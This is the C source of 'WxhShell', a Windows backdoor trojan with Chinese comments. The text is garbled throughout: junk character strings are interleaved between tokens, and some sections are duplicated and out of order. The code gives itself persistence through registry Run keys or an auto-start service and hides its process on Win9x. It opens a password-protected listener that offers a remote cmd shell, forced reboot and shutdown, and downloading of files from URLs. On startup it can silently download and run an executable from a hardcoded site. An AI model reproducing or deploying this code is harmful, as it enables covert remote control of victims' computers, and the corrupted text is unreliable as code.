ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @GDe{GG+ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :#s6, ukHSHsR HANDLE hProcess; :IlRn`9X` PROCESS_BASIC_INFORMATION pbi; .lAqD- ?$i`K| HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NBEcx>pma if(NULL == hInst ) return 0; [y-0w.V=oE zs|R#?a= g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `T7gfb%1-3 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Vp{! Ft8> NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }tA77Cm)45 o7 ^t-
L if (!NtQueryInformationProcess) return 0; mz$)80ly d2`m0U hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]Q1?Ox:' if(!hProcess) return 0; :tU&d(8 L;N)l2m.\ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s ;EwAd( AdB B#zd CloseHandle(hProcess); |YCGWJaci H~IR:WOw hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )d5Hv2/0 if(hProcess==NULL) return 0; pxP,cS &x6Z=|Ers HMODULE hMod; |s[kY char procName[255]; tS#=I.ET unsigned long cbNeeded; jo-jPYH T "#,]`ME; if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M"# >?6{ g(Q)fw CloseHandle(hProcess); ]."~) KG9h
rT if(strstr(procName,"services")) return 1; // 以服务启动 =v^LShD2^ _RI`I}&9Z return 0; // 注册表启动 Wy1#K)LRb } qQK0s*^W XgRrJ. // 主模块 IIrh|>d_7 int StartWxhshell(LPSTR lpCmdLine) EGpN@ { Mj&`Y
gW5a SOCKET wsl; OBrbWXp@ BOOL val=TRUE; ~*"]XE?M int port=0; t8SvU struct sockaddr_in door; 3j<:g%5 dJyf.VJ if(wscfg.ws_autoins) Install(); CB V(H$d ' cM2]< port=atoi(lpCmdLine); X*ZTn
7< =AEl:SY+ if(port<=0) port=wscfg.ws_port; 'dJ#NT25 ^na8d's: WSADATA data; )}ygzKEa if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }/)vOUcEd G bW1Lq&" if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; <zd_-Ysn setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2I:x) door.sin_family = AF_INET; Dsq_}6l{ door.sin_addr.s_addr = inet_addr("127.0.0.1"); |#_IAN door.sin_port = htons(port); ]x)^/d GD*rTtDWn if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mEK0ID\ closesocket(wsl); ( X(61[Lu return 1; k55s-%Ayr } BY*{j&^ RWyDX_z#< if(listen(wsl,2) == INVALID_SOCKET) { t2bv
nh closesocket(wsl); ] oOSL=~c return 1; U(xN}Y? } I^}q;L![\ Wxhshell(wsl); 9, A(|g WSACleanup(); KMs[/|HX\ q,Oj return 0; QuB`}rfLf ,<Ag&*YE4 } pr~%%fCh V]E#N // 以NT服务方式启动 h=?V)WSM VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g5",jTn# { JAt$WW{ DWORD status = 0; XK*55W&og DWORD specificError = 0xfffffff; o7:~C] xi+bBqg<.K serviceStatus.dwServiceType = SERVICE_WIN32; gKPqWh serviceStatus.dwCurrentState = SERVICE_START_PENDING; Q:L^DZkGV serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [ADSGnw serviceStatus.dwWin32ExitCode = 0; 2wCSjAWWh( serviceStatus.dwServiceSpecificExitCode = 0; 4*`AYx( serviceStatus.dwCheckPoint = 0; y
nue;*rM serviceStatus.dwWaitHint = 0; d+caGpaR f`;y
"ba hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n'?AZ4&z if (hServiceStatusHandle==0) return; Xmmb^2I xYmh{Vc8 status = GetLastError(); x]6-r`O7r if (status!=NO_ERROR) Etj0k}
A { f6of8BOg serviceStatus.dwCurrentState = SERVICE_STOPPED; biLNR"/E serviceStatus.dwCheckPoint = 0; wo#,c( serviceStatus.dwWaitHint = 0; y
4
wV]1 serviceStatus.dwWin32ExitCode = status; xM+_rU
M|h serviceStatus.dwServiceSpecificExitCode = specificError; .8GX8[t SetServiceStatus(hServiceStatusHandle, &serviceStatus); k^H&IS! return; xmM!SY> } ^y,Ex;6o ;c/|LXc\ serviceStatus.dwCurrentState = SERVICE_RUNNING; B0M(&)!%
serviceStatus.dwCheckPoint = 0; ~|:U"w\[= serviceStatus.dwWaitHint = 0; ^@V;`jsll if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); icrcP ~$A } \ 4`:~c
}OsAO // 处理NT服务事件,比如:启动、停止 ro n-v"! VOID WINAPI NTServiceHandler(DWORD fdwControl) |&oTxx$S { >eC>sTPQ{ switch(fdwControl) {`ghX%M(l { UR|Au'iu case SERVICE_CONTROL_STOP: JhU"akoK serviceStatus.dwWin32ExitCode = 0; W?:e4:Q serviceStatus.dwCurrentState = SERVICE_STOPPED; mG*ER^Y@D serviceStatus.dwCheckPoint = 0; o*t4zF&n serviceStatus.dwWaitHint = 0; ?Tlt(%f { o#Viz: SetServiceStatus(hServiceStatusHandle, &serviceStatus); -u$U~?|` } Dq~\U&U\$ return; 6/3oW}Oo case SERVICE_CONTROL_PAUSE: w7%.EA{N serviceStatus.dwCurrentState = SERVICE_PAUSED; &} rmDx break; FX
%(<M case SERVICE_CONTROL_CONTINUE: c;B: o serviceStatus.dwCurrentState = SERVICE_RUNNING; vf@toYc[E break; u9*7Buou^ case SERVICE_CONTROL_INTERROGATE: 5-RA<d# break; .WVIdVO7 }; 8+,I(+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); lD#S:HX } UrmnHc>}c ]~@uStHn // 标准应用程序主函数 xFzaVjjP int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .Cu0G1 { W,5_i7vr j0~dJ# // 获取操作系统版本 D=jtXQF OsIsNt=GetOsVer(); | Kq<}R GetModuleFileName(NULL,ExeFile,MAX_PATH); 3De(:c)@ bs_< UE // 从命令行安装
WjsmLb:5 if(strpbrk(lpCmdLine,"iI")) Install(); 5|A"YzY# emMk*l, // 下载执行文件 tPb<*{eG if(wscfg.ws_downexe) { `$Y%c1; if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yTR5*{?j WinExec(wscfg.ws_filenam,SW_HIDE); fP/;t61Z } }1mkX\wWP 4jw q$G if(!OsIsNt) { ^8=e8O // 如果时win9x,隐藏进程并且设置为注册表启动 U.Fs9F4M # HideProc(); #('GGzL6c StartWxhshell(lpCmdLine); b=kY9!GN,v } m>^vr7 else Rxq4Diq5k if(StartFromService()) (7C$'T-ZK // 以服务方式启动 AHzm9U @ StartServiceCtrlDispatcher(DispatchTable); [M2xF<r6t else *>k6n5% // 普通方式启动 i8!err._ StartWxhshell(lpCmdLine); u`"Y!*[ - D^S"6v"z return 0; r-_-/O"l } }Xb|Ur43 uMjL>YLq{? e>Dux YbF}>1/" =========================================== ;;N#'.xD wlDo(]mj=O kyf(V)APPu ddY-F
}z~ Pf~0JNnc c~= {A " *i"Mu00b I:WPP'L4o #include <stdio.h> v8TNBsEL #include <string.h> s
>k4G #include <windows.h> G+tzp&G@ #include <winsock2.h> L+Gi #include <winsvc.h> m4^VlE,`Dh #include <urlmon.h> bYYjP.rcF @h\i<sh!^ #pragma comment (lib, "Ws2_32.lib") gX(8V*os^ #pragma comment (lib, "urlmon.lib") Hp@cBj_@P2 4M;S&LA #define MAX_USER 100 // 最大客户端连接数 ceLr;}?Ws #define BUF_SOCK 200 // sock buffer q)PSHr=Z #define KEY_BUFF 255 // 输入 buffer I*KJq?R UMH~Q`" #define REBOOT 0 // 重启 D=)qd@,K #define SHUTDOWN 1 // 关机 ]j.!
r<;Y4<,BZ #define DEF_PORT 5000 // 监听端口 OkphbAX \5b<!Nl #define REG_LEN 16 // 注册表键长度 OA7=kH@3c #define SVC_LEN 80 // NT服务名长度 UJ`%uLR~ #+^l3hMK // 从dll定义API G
}M! typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eTt{wn;6 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S;BMM8U typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
c70B typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .yb8<q s Xg;q\GS/<i // wxhshell配置信息 WX+@<y}% struct WSCFG { QzYaxNGv int ws_port; // 监听端口 ve4QS P char ws_passstr[REG_LEN]; // 口令 !zxq9IhWR int ws_autoins; // 安装标记, 1=yes 0=no gIcPKj"8${ char ws_regname[REG_LEN]; // 注册表键名 ^fM=|.? char ws_svcname[REG_LEN]; // 服务名 eoPoGC char ws_svcdisp[SVC_LEN]; // 服务显示名 |h:3BV_ char ws_svcdesc[SVC_LEN]; // 服务描述信息 w$Mb+b$ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S1!_ IK$m int ws_downexe; // 下载执行标记, 1=yes 0=no .\)p3pC) char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7wqD_Xr char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )
|hHbD^V C,u;l~zz }; hy:K) _
*1}vn%wvn // default Wxhshell configuration <pUc(
tPoz struct WSCFG wscfg={DEF_PORT, (7v`5|'0 "xuhuanlingzhe", 98WJ"f_ # 1, NO#^_N`#\ "Wxhshell", gwYTOs^ "Wxhshell", /h@rLJ)o> "WxhShell Service", wSs78c= "Wrsky Windows CmdShell Service", <JJi "Please Input Your Password: ", uMP&.Y( 1, Jaf=qwZ/` "http://www.wrsky.com/wxhshell.exe", < YuI}d~' "Wxhshell.exe" }Z\+Qc<< }; 1x|/z,
NO)vk+ // 消息定义模块 D%.<}vG char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #60<$HO:Z char *msg_ws_prompt="\n\r? for help\n\r#>"; KL*UU,qU char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GG_A'eX:I char *msg_ws_ext="\n\rExit."; )^'wcBod, char *msg_ws_end="\n\rQuit."; #D!3a%u0 char *msg_ws_boot="\n\rReboot..."; =j~}];I char *msg_ws_poff="\n\rShutdown..."; [h2V9>4: char *msg_ws_down="\n\rSave to "; K#p&XIY, 2!Ex55 char *msg_ws_err="\n\rErr!"; Py,@or7n char *msg_ws_ok="\n\rOK!"; :hxZ2O?5_ }(XvI^K[^ char ExeFile[MAX_PATH]; Jh:-<xy) int nUser = 0; ("BFI HANDLE handles[MAX_USER]; l@YpgyqaL int OsIsNt; Ljxn}):[ #Ryu`b SERVICE_STATUS serviceStatus; yQ8H-a. SERVICE_STATUS_HANDLE hServiceStatusHandle; `o*g2fW! >heih%Ar0J // 函数声明 G8?<(.pi@ int Install(void); I@q>ES!1H int Uninstall(void); wh:`4Yw int DownloadFile(char *sURL, SOCKET wsh); ;7<a0HZ5! int Boot(int flag); +=@Z5eu void HideProc(void); BmUzsfD int GetOsVer(void); tg5jS]O int Wxhshell(SOCKET wsl); ikRIL2Y void TalkWithClient(void *cs); "WYcw\@U int CmdShell(SOCKET sock); *id|za|:k int StartFromService(void); z_l3=7R int StartWxhshell(LPSTR lpCmdLine); TJ5{Ee GV {nOK*7+" VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^! ZjK-$A< VOID WINAPI NTServiceHandler( DWORD fdwControl ); |:r/K P [nWmY // 数据结构和表定义 e?lqs,m@" SERVICE_TABLE_ENTRY DispatchTable[] = A1ebXXD) { -{b1& {wscfg.ws_svcname, NTServiceMain}, O\KAvoQ%s {NULL, NULL} =\%>O7c,8Y }; pmW=l/6+V3 r IK|} 5 // 自我安装 JcVq%~{M int Install(void) BtHvfoT { M9OFK\) char svExeFile[MAX_PATH]; u\.sS|$ HKEY key; >;3c;nf strcpy(svExeFile,ExeFile); 2aje$w- }lb.3fqiA // 如果是win9x系统,修改注册表设为自启动 ^:)&KV8D| if(!OsIsNt) { VDmd+bvJV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (&nl}_`7?, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +li^0+3-' RegCloseKey(key); Csc2 yI%3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `A^} X RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d<3"$%C RegCloseKey(key); P*T)/A%4 return 0; X*yl%V
} ::`j@ ] } (_08?cN } t2SZ]|C else { P%lLKSA 5UM[Iz // 如果是NT以上系统,安装为系统服务 n|*V
8VaL SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mDmWTq\ if (schSCManager!=0) ;hZ@C!S: { n{yjH*\Z SC_HANDLE schService = CreateService -?'CUm*Od ( FTenXJ/c schSCManager, `3:%F> wscfg.ws_svcname, |#B"j1D,H wscfg.ws_svcdisp, TatyD**( SERVICE_ALL_ACCESS, *3K"Kc2 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [Bh]\I' SERVICE_AUTO_START, ]x G4T>S SERVICE_ERROR_NORMAL, o%5bg( svExeFile, 4dK@UN\ NULL, X m3t
xp# NULL,
rh_({rvQ NULL, )pLq^j NULL, W<L6, NULL u@EM,o ); @ih}x if (schService!=0) xVyUUzXs { 8(D}y\ CloseServiceHandle(schService); Mt Z(\&~ CloseServiceHandle(schSCManager); ]>L]?Rm strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +;Gl>$ strcat(svExeFile,wscfg.ws_svcname); ;^*!<F%t9R if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }BrE|'.j' RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kI'A`
/Bl RegCloseKey(key); Sv@p!-m return 0; [VW;L l } hI8C XG } j#f&!&G5<& CloseServiceHandle(schSCManager); d/>,U7eS[+ } sriz
b } $rEd5W&d! &^_(xgJL return 1; 0Y2^}u@5 } N0[I2'^. Cpcd`y=IN // 自我卸载 yp^* TD/J int Uninstall(void) =7Vl{>*1N { 88$Y-g5* HKEY key; g4~qcI=a )X;cS}
yp if(!OsIsNt) { K, 5ax@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7yTe]O RegDeleteValue(key,wscfg.ws_regname); ] <3?=$ RegCloseKey(key); _%vqBr* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'kvFU_) RegDeleteValue(key,wscfg.ws_regname); >}{-! RegCloseKey(key); S "Pj1 return 0; Sp,Q,Q4 } [B3aRi0AQ } EE6|9K> } aX)./ else { d$rUxqB. D(6x'</>? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }@%ahRGx%9 if (schSCManager!=0) :V~*vLvR { q)ql]iH SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -QPWi2:k if (schService!=0) H#6^-6;/ { 'Q>z** if(DeleteService(schService)!=0) { i: M*L< + CloseServiceHandle(schService); 0"psKf' CloseServiceHandle(schSCManager); `F\:XuY return 0; L?27q } Au} ;z6k CloseServiceHandle(schService); Gj19KQ1G } |;9 A{#zM CloseServiceHandle(schSCManager); 0nn]]B@l } p_qm}zp
} .q`H`(QM xY'qm8V return 1; -^4bA<dCCE } R:OU>HsdX VNrO(j DUv // 从指定url下载文件 `XSc > int DownloadFile(char *sURL, SOCKET wsh) 72ViPWW { ^]qV8 HRESULT hr; D5!K<G?-K char seps[]= "/"; #} ~p^ 0 char *token; CQjZAv
char *file; n R\n\
char myURL[MAX_PATH]; "Z 2Tc) char myFILE[MAX_PATH]; Cld<D5\|f+ "bR'Bt strcpy(myURL,sURL); B >u,) token=strtok(myURL,seps); C8qTz".5$ while(token!=NULL) hK39_A- { +*_fN ]M file=token; i=1 }lkq token=strtok(NULL,seps); PM-PP8h
} df>kEvU5.^ 9R@abm,I GetCurrentDirectory(MAX_PATH,myFILE); K)Zkj"y strcat(myFILE, "\\"); 6<s(e_5f strcat(myFILE, file); r'd:SaU+ send(wsh,myFILE,strlen(myFILE),0); $35,\ZO> send(wsh,"...",3,0); y
Tw',N{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nEd
M_JPv if(hr==S_OK) 0n*rs=\VG return 0; Ep<!zO| else /1 US, return 1; 4\1wyN /}M 7}d$*C } (L
y%{ Y 18.Y/nZAgQ // 系统电源模块 i $[,-4v int Boot(int flag) ..jq[(;N { >G<\1R HANDLE hToken; rkfQr9Vc TOKEN_PRIVILEGES tkp; t&R!5^R X:G&5 if(OsIsNt) { NWJcFj_ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B:O+*3j LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l5=u3r9WYC tkp.PrivilegeCount = 1; gH{:`E k7 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V<i<0E AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TRgY :R_ if(flag==REBOOT) { >`hSye{ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7.Ml9{M/i return 0; pXPqDA } &<gUFcw7Ui else { 0
&*P}U}Uc if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {A]k%74-a return 0; oMh~5
W } 20rN,@2< } FNz84qVIx' else { 5mI?pfm if(flag==REBOOT) { $zC6(C(l if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9U2Px$E return 0; %<aImR] } 6oj4Rg+( else { $Hp.{jw if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "?i>p z return 0; E7rX1YdR } tCZpfZ@+= } =QrA0kQR <^#P6 return 1; `]K,'i{R } 0SJ{@* + jp|Y?6Z // win9x进程隐藏模块 %S{o5txo void HideProc(void) 3%XG@OgP { T|;^.TZ .=Pm>o/, HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LkaG8#m1R if ( hKernel != NULL ) &nQRa?3,
{ -&trk pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cICHRp&& ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _kh>Z FreeLibrary(hKernel); q z=yMIy= } e@[9C(5E" Nt HbwU, return; v-ThdE$G# } )nhfkW=e c2/FHI0J; // 获取操作系统版本
q4_** int GetOsVer(void) <E"*)Oi { F
b1EMVu OSVERSIONINFO winfo; M6\7FP6G winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y0;,dv] GetVersionEx(&winfo); ?hKm&B;d if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =h(7rU"Yz return 1; fzl=d_ else _]P
a>8X* return 0; b<\$d4Qy } /;DjJpwf0 \ZqK\= // 客户端句柄模块 L5/mO6;k int Wxhshell(SOCKET wsl) vsH3{:&;"P { ja?s@Y}-9s SOCKET wsh; ~+<<bzY struct sockaddr_in client; 3a%xn4P DWORD myID; L4~
W/6A &%6NQWW while(nUser<MAX_USER) Z^<Sj5}6 { ?<E0zM+ int nSize=sizeof(client); I:nI6gF wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (X*9w##x( if(wsh==INVALID_SOCKET) return 1; !Pw$48cg .`Sw,XL5 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |IAW{_9)U if(handles[nUser]==0) u-kZW1wrQ closesocket(wsh); /0
_zXQyV else zb>;?et;) nUser++; =C#*!N73 } Y5n>r@)m WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9T$u+GX' V7BsE w return 0; %0lf } kAeNQRjR +|9f%f6vp // 关闭 socket $5x]%1R void CloseIt(SOCKET wsh) /,X7.t_- { :b5XKv^ closesocket(wsh); .wD>Gs{sH[ nUser--; }Fm\+JOS
ExitThread(0); bfhz?,b } AxEc^Cof ,aWCiu} // 客户端请求句柄 <}cZi4l' void TalkWithClient(void *cs) }YRO'Q{ { QypZH"Np lQWBCJ8y SOCKET wsh=(SOCKET)cs; Wa<-AZnh char pwd[SVC_LEN]; cN5"i0xk char cmd[KEY_BUFF]; QAi1,+y]7w char chr[1]; bf(+ldq int i,j; mVt3WZa @gEr+O1K( while (nUser < MAX_USER) { [8TS"ph> n_}aZB3;U if(wscfg.ws_passstr) { AJdp6@O+ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mb1wYh //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +X[8wUm|^ //ZeroMemory(pwd,KEY_BUFF); c@9##DPn i=0; d+e0;!s~O while(i<SVC_LEN) { L0xsazX:x i&*<lff // 设置超时 cl_TF[n? fd_set FdRead; &}E:jt} struct timeval TimeOut; ,WGc7NN` FD_ZERO(&FdRead); bJPJ.+G7 FD_SET(wsh,&FdRead); F)7j@h^ TimeOut.tv_sec=8; Cg^:jd TimeOut.tv_usec=0; 5e8xKL int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ; [FLT:$ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5D
L,U(Y w,/6B&| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XfDX:b1p pwd=chr[0]; CbQ4Y if(chr[0]==0xd || chr[0]==0xa) { h;nQxmJ9 pwd=0; \?dTH:v/E break; [4: Yi{> } *E7R(#,yC i++; fK"iF@=Z` } 86qcf"?E (kY@7)d'e // 如果是非法用户,关闭 socket j76%UG\Ga if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); djGs~H>;U_ } e[8UH =`| 7f
r>ZY^ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~
aA;<# send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #D0 ~{H -;/
Y while(1) { p#=;)1 D J_DonO] ZeroMemory(cmd,KEY_BUFF);
/B[}I}X I)lC{v // 自动支持客户端 telnet标准 U6c@Et , j=0; wASX\D } while(j<KEY_BUFF) { $+jy/:]D if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G
B&:G V cmd[j]=chr[0]; O2lIlCL if(chr[0]==0xa || chr[0]==0xd) { .1{l[[= W cmd[j]=0; ayeCi8 break; 2vvh|?M } LihdZ ) j++; tR;{. } uY]T:UVk }hq^+fC? // 下载文件 lRH0)5` if(strstr(cmd,"http://")) {
p[ Hr39o send(wsh,msg_ws_down,strlen(msg_ws_down),0); /ao<A\KR if(DownloadFile(cmd,wsh)) HzEGq,. send(wsh,msg_ws_err,strlen(msg_ws_err),0); z<h|#@\ else snq;:n! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [S) G$JW } u GAh7Sop else { Kr]W
o8dWy bBG/gQ switch(cmd[0]) { .l=p[BI l?<q
YjI // 帮助 ,2_w=<hq case '?': { 'e85s%ru send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wE4;Rk1 break; rei5{PC } gCL{Cw // 安装 6%UY1Q.? case 'i': { ~b#OFnyG if(Install()) wonYm27f send(wsh,msg_ws_err,strlen(msg_ws_err),0); P=Puaz5&{ else V]m^7^m3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F^miq^K=
break;
pl?kS8#U? } Bz:&f46{ // 卸载 LyV#j>gD case 'r': { bM5CDzH(#X if(Uninstall()) @Kp1k> ov send(wsh,msg_ws_err,strlen(msg_ws_err),0); !-ZP*V3}h else K-6p'| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g&kH'fR8 break; 1\IZcJ { } 7jT#BWt // 显示 wxhshell 所在路径 BvQUn@ XE case 'p': { 7JS#a=D# char svExeFile[MAX_PATH]; wx./"m.M strcpy(svExeFile,"\n\r"); "*t6t4/Q strcat(svExeFile,ExeFile); NZfd_? 3 send(wsh,svExeFile,strlen(svExeFile),0); H>Ks6V)RL4 break; j3LNnZY } cCk1'D|X[e // 重启 :v#8O~ case 'b': { A]#_"fayo send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;M-,HK4= if(Boot(REBOOT)) 8;0^'Qr8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); \QiqcD9Y else { H6{Rd+\Z closesocket(wsh); 5c)wZ ExitThread(0); %xHu,* } |veBq0U break; %uW< } =O,e97 // 关机 Rd0?zEKV case 'd': { OoSa95#x send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "~Us#4> if(Boot(SHUTDOWN)) CM"s9E8y send(wsh,msg_ws_err,strlen(msg_ws_err),0); z30= ay1 else { /CbkqNV closesocket(wsh); |\/~
8qP ExitThread(0); [|jIC } S`4e@Z$ break; $sM]BE: }
Re{ej // 获取shell eZ[#+0J case 's': { +Z]y #= CmdShell(wsh); Of!|,2`( closesocket(wsh); 80cm6?,xu ExitThread(0); f&f[La
break; IK85D>00T } L-SdQTx_ // 退出 lf}?!*V`+ case 'x': { Q:rT 9&G send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dfnX!C~6 \ CloseIt(wsh); hY)YX,f=S break; N%:D8\ qx } H9/XW6W,"w // 离开 s9=pV4fA~w case 'q': { |I4D(#w. send(wsh,msg_ws_end,strlen(msg_ws_end),0); =xl7vHn7 closesocket(wsh); s8C:QC WSACleanup(); @
$9m>6V exit(1); UqY J#&MqY break; WReYF+Uen } [qq`cT@ } E\W;:p,{A } l@(t^68OD 4c~*hMry // 提示信息 PsacXZNs\N if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6="M0% } }x>}:"P;W } +*WUH513 Be'?#Qe return; @w+WLeJ$40 } A632 :V f'8B[&@L // shell模块句柄 "0p +SZ~D int CmdShell(SOCKET sock) }//8$Z<( { qQ3]E][/ STARTUPINFO si; 5VCMpy ZeroMemory(&si,sizeof(si)); ,K"r:)\ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;F"
kD si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ";%e~
= PROCESS_INFORMATION ProcessInfo; mg/C Ux char cmdline[]="cmd"; Ih9O Rp7 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `HMligT return 0; T9&,v<f } <T4 7kL I HPv&vdr3 // 自身启动模式 E`
:ZH int StartFromService(void) i!/h3%= { eUGmns typedef struct QH~8
aE_i { R]V~IDs DWORD ExitStatus; d|D'&&&c DWORD PebBaseAddress; 7zz(# DWORD AffinityMask; IeqWR4Y DWORD BasePriority; %tklup]LF8 ULONG UniqueProcessId; ru(?a~lF8~ ULONG InheritedFromUniqueProcessId; R(n0!h4 } PROCESS_BASIC_INFORMATION; o}j_eHl{
`Lb _J PROCNTQSIP NtQueryInformationProcess; 9g<_JcN K{`2jK# static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x _YV{ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,& \&::R NoSqzJyh HANDLE hProcess; V@5 4k*V PROCESS_BASIC_INFORMATION pbi; * 7zN uj+.L6S HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); umHs " d if(NULL == hInst ) return 0; \!' {-J ||"":K g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3>:zo:; g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T^-H_|/M NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wKeSPs{x nFf\tf%8 if (!NtQueryInformationProcess) return 0; HC<BGIgL 4u{E D( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f0fqDmn if(!hProcess) return 0; Kr+Bty xYzcV%-Pm if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :a^,Ei-& 